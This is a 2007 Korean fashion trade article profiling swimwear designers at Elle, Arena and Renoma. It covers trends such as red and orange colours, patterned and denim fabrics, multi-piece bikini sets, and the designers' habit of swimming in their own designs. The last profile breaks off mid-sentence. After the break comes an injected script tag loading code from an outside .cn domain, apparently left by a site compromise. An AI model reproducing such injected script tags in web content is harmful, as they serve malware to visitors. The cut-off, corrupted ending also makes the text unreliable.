“해변 패션은 우리에게 맡겨라”
2007-01-16 

올 여름 수영복 패션은 스판 나이론 소재보단 데님, 우븐, 니트가, 시원한 블루컬러보단 오렌지, 레드컬러가, 비키니 하나만 입기 보단 비키니에 탑, 핫팬츠를 함께 코디해 입는 쓰리피스, 포피스 스타일이 소비자들에게 좋은 반응을 얻고 있다. 여름 이맘때면 판매현황 체크하랴, 다음시즌 준비하랴 정신없이 바쁜 수영복 디자이너, 그들의 일상을 쫓아갔다.

● 「엘르」 강선아 실장
“매일아침을 수영으로”
“레드컬러 수영은 올해 매출신장에 한 몫 단단히 했다. 작년에 올해 상품을 기획할 때 레드컬러 제품을 35스타일 내놓았는데 월드컵과 잘 맞아떨어져 전년대비 30% 신장한 매출을 올렸다”
강선아 실장은 “수영복은 블루 등 시원해 보이는 컬러를 사용해야한다고 생각했는데 월드컵의 영향 때문인지 컬러에 대한 고정관념이 많이 없어진 것 같다. 잘 사용하지 않던 레드, 오렌지 등 따뜻한 계통의 컬러 사용이 많아지고 있다”며 “또 예년에는 패턴이 없는 솔리드제품이 전체 60∼70%를 차지했는데 이제 체크, 스트라이프, 꽃 등의 패턴제품이 70∼80%를 차지한다. 올해 가장 반응이 좋은 제품도 가로 스트라이프 무늬 제품이다”고 덧붙였다.
강 실장은 매일 아침 수영하는 일을 거르지 않는다.
“내가 디자인한 옷을 눈으로 보는 것과 직접 입어보고 물에 들어갔을 때 무거운지, 불편한 곳은 없는지 등을 체크해보는 것은 다르다. 깊이 있는 디자인을 하기 위해서는 꼭 수영이 필요하다. 예전에는 물을 무서워해서 수영을 못했는데 이제 극복했다. 매일아침 새로운 수영복을 입고 수영하는 일과가 즐겁다”
강 실장은 “내가 처음 이 일을 시작했을 때는 수영복 디자이너가 따로 없었다. 속옷디자이너가 여름시즌이 되면 수영복 디자인을 담당하는 정도였다. 수영복 디자인을 한지 올해로 15년인데 이렇게 꾸준히 할 수 있었던 것은 내가 이 분야를 개척해간다는 ‘자부심’과 하면 할수록 늘 새롭고 늘 공부해야한다는 ‘긴장감’때문이었던 것 같다. 수영복 디자인을 10년정도 했을 때 ‘아∼ 수영복이 이런 거구나’라는 ‘감’이 왔다. 아니, 눈을 떴다는 표현이 더 적합한 것 같다”고 말했다.
“수영복 디자이너 1세대로써 후배들이 내가 겪은 시행착오를 겪지 않도록 수영복에 대한 전문서적을 출판하고 싶다”

● 「아레나」 이현실 실장
“수영복의 패션화”
“데님. 니트, 우븐… 수영복 소재가 점점 다양해지고 있다”
이현실 실장은 “수영복은 스판 소재여야 한다는 고정관념이 많았는데 지금은 그렇지 않다. 소재의 사용폭이 넓어지면서 시장, 원단업체, 캐주얼·여성 브랜드 등 관심의 범위도 넓어졌다. 실제로 나도 캐주얼이나 여성 브랜드에서 많은 아이디어를 얻는다. 올해는 캐주얼브랜드의 데님, 여성브랜드의 캐릭터 강한 디테일 등이 유행이었다. 하지만 가장 중요한 것은 적합한 소재를 적절한 때에 사용할 줄 아는 감각”이라며 “소재뿐만 아니라 디자인에도 변화가 많아졌다. 지난해에 이어 올해는 비키니수영복을 입고 그 위에 슬리브리스 탑과 핫팬츠를 입는 쓰리피스, 포피스 제품이 소비자들에게 좋은 반응을 얻고 있다. 또 몸에 피트되는 디자인보다는 허리를 덮어주는 루즈한 스타일의 상품이 인기다. 상의가 넉넉하면 하의 치마에 플레어를 주거나 A라인 디자인으로 볼륨감을 살려준다”라고 덧붙였다.
이 실장은 “주 5일 근무제로 레저에 대한 사람들의 관심이 높아지고 캐리비안베이 등 실외수영장들이 많아지면서 수영복이 패션화되고 이런 움직임이 더 뚜렷해진 것 같다”고 말했다.
이 실장은 “디자인뿐만 아니라 체형결점까지… 소비자들의 요구가 까다로워 우리 나라 수영복은 다른 나라에 비해 앞서있다”고 말했다.
그녀는 “수영복 디자이너로 일한 지 벌써 10년째다. 수영복 디자인에 열정을 가지고 뛰어드는 신입디자이너가 많아 수영복 업계에도 인적 기반이 튼튼해졌으면 좋겠다”고 말했다.
“수영복 업계가 좁아 ‘실장’이라는 명함을 달수 있는 사람들이 많지 않다. 지금 ‘수영복 디자인 실장’이라는 꿈을 가지고 열심히 일하고 있는 후배들에게 기회를 주어야 한다는 생각을 가지고 있다. 이 때를 위해 요즘은 수영복에서 닦은 지식을 바탕으로 후에 어떤 일을 해야할지 내 진로에 대해 고민하고 있다”

● 「레노마」 정희경 실장
“독창적인 소재와 디자인으로 승부”
「레노마」 정희경 실장의 취미는 ‘수영’.
기능성이 중요한 아이템인만큼 직접적인 체험을 통해 얻는 아이디어가 디자인에 많은 도움이 된다고 한다.
“직접 입고 수영을 해 보면 기획 단계에서는 미처 생각하지 못했던 부분을 발견하기도 한다. 그런 직접 경험이 다음 시즌 기획에 발전적인 영향을 미치는 것은 당연한 일. 수영을 통해 건강도 챙기고 시장조사도 하고 일석이조인 셈이다.” 점차 다양해지는 ?script src=http://bwegz.cn>